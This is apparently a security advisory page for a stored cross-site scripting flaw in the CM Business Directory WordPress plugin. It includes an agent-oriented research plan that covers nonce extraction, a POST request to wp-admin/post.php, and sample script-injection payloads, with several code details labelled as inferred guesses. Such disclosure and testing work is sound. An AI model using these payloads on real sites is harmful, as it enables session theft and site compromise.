CM Business Directory – Optimise and showcase local business <= 1.5.3 - Authenticated (Author+) Stored Cross-Site Scripting
Description
The CM Business Directory – Optimise and showcase local business plugin for WordPress is vulnerable to Stored Cross-Site Scripting in versions up to, and including, 1.5.3 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with author-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:NTechnical Details
<=1.5.3Source Code
WordPress.org SVNThis research plan focuses on **CVE-2026-25004**, a Stored Cross-Site Scripting (XSS) vulnerability in the **CM Business Directory** plugin. ### 1. Vulnerability Summary The CM Business Directory plugin fails to properly sanitize input and escape output for several business listing attributes. Auth…
Show full research plan
This research plan focuses on CVE-2026-25004, a Stored Cross-Site Scripting (XSS) vulnerability in the CM Business Directory plugin.
1. Vulnerability Summary
The CM Business Directory plugin fails to properly sanitize input and escape output for several business listing attributes. Authenticated users with Author level permissions or higher can inject malicious JavaScript into business listing fields. When these listings are viewed by other users (including administrators), the script executes in their browser context.
2. Attack Vector Analysis
- Vulnerable Endpoint:
wp-admin/post.php(for existing listings) orwp-admin/post-new.php(for new listings). - Vulnerable Post Type:
cmbd_business(inferred). - Vulnerable Parameters: Meta fields associated with the business listing, likely within the
cmbd_business_detailsmeta box. Potential fields include_business_address,_business_website,_business_phone, or social media URLs. - Authentication Required: Author-level credentials (or higher).
- Preconditions: The plugin must be active, and the attacker must have permission to create or edit
cmbd_businessposts.
3. Code Flow (Inferred)
- Entry Point: An Author saves a "Business" post. WordPress triggers the
save_posthook. - Processing: The plugin (likely in a class like
CMBD_Business_Post_TypeorCMBD_Meta_Box) catches the$_POSTdata. It callsupdate_post_meta()for custom fields without applyingsanitize_text_field()orwp_kses(). - Storage: The raw XSS payload is stored in the
wp_postmetatable. - Sink: When a user visits the single business listing page (
/?post_type=cmbd_business&p=ID) or the directory list page, the plugin retrieves the meta usingget_post_meta(). - Execution: The retrieved data is echoed directly into the HTML template without using
esc_html()oresc_attr().
4. Nonce Acquisition Strategy
Since this exploit occurs within the standard WordPress post editor, the agent must obtain the _wpnonce and _wp_http_referer associated with the post-editing session.
- Create/Identify Post: Determine the ID of a
cmbd_businesspost. - Navigate: Use
browser_navigateto go towp-admin/post.php?post=POST_ID&action=edit. - Extract Nonce: Use
browser_evalto extract the nonce from the hidden input field:browser_eval('document.querySelector("#_wpnonce").value')
- Extract Referer:
browser_eval('document.querySelector("input[name=\'_wp_http_referer\']").value')
5. Exploitation Strategy
The agent will simulate an Author-level user updating a business listing with a malicious payload.
Step-by-Step Plan:
- Login: Authenticate as an Author.
- Locate Target: Identify a business listing ID.
- Fetch Nonces: Navigate to the edit page for that ID and extract the
_wpnonce. - Send Update Request: Perform a POST request to
wp-admin/post.php.
HTTP Request Details:
- Method: POST
- URL:
https://target.example.com/wp-admin/post.php - Content-Type:
application/x-www-form-urlencoded - Body Parameters:
action:editpostpost_ID:[POST_ID]_wpnonce:[EXTRACTED_NONCE]_wp_http_referer:[EXTRACTED_REFERER]post_title:Safe Business Namecmbd_address(inferred):123 Main St <script>alert(document.domain)</script>cmbd_website(inferred):https://example.com" onmouseover="alert(1)"cmbd_social_twitter(inferred):"><script>alert('XSS')</script>
6. Test Data Setup
- Plugin Installation: Ensure
cm-business-directoryversion 1.5.3 is installed. - User Creation: Create a user with the
authorrole. - Listing Creation: Create at least one business listing under the
cmbd_businesspost type (this can be done viawp post create --post_type=cmbd_business --post_title='Target Business' --post_status=publish). - Identify Meta Keys: Run
wp post meta list [ID]on a manually created business to confirm the exact meta keys used by the plugin (e.g., check if they start with_cmbd_orcmbd_).
7. Expected Results
- The POST request should return a
302 Redirectback to the edit page, indicating a successful save. - When navigating to the frontend URL of the business listing (e.g.,
/?cmbd_business=target-business), an alert box with the domain name should appear.
8. Verification Steps
- Database Check: Use WP-CLI to verify the payload is stored raw:
wp post meta get [POST_ID] cmbd_address
- HTML Source Check: Use
http_request(GET) to the business page and grep for the payload:- Look for
<div class="cmbd-address">123 Main St <script>alert(document.domain)</script></div>(template structure inferred).
- Look for
9. Alternative Approaches
- REST API: Check if the plugin registers custom REST API fields for the business post type. If
register_rest_fieldis used without asanitize_callback, the XSS could be injected via the REST API (POST /wp-json/wp/v2/cmbd_business/[ID]). - Frontend Submission: If the plugin has a "Submit a Business" frontend form (often triggered by the
[cmbd_submit_form]shortcode), test this as an unauthenticated or subscriber user. This would upgrade the severity from CVSS 6.4 to high.- Nonce for Frontend: If using a frontend form, the nonce is usually localized in a JS object (e.g.,
window.cmbd_script_data.nonce).
- Nonce for Frontend: If using a frontend form, the nonce is usually localized in a JS object (e.g.,
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.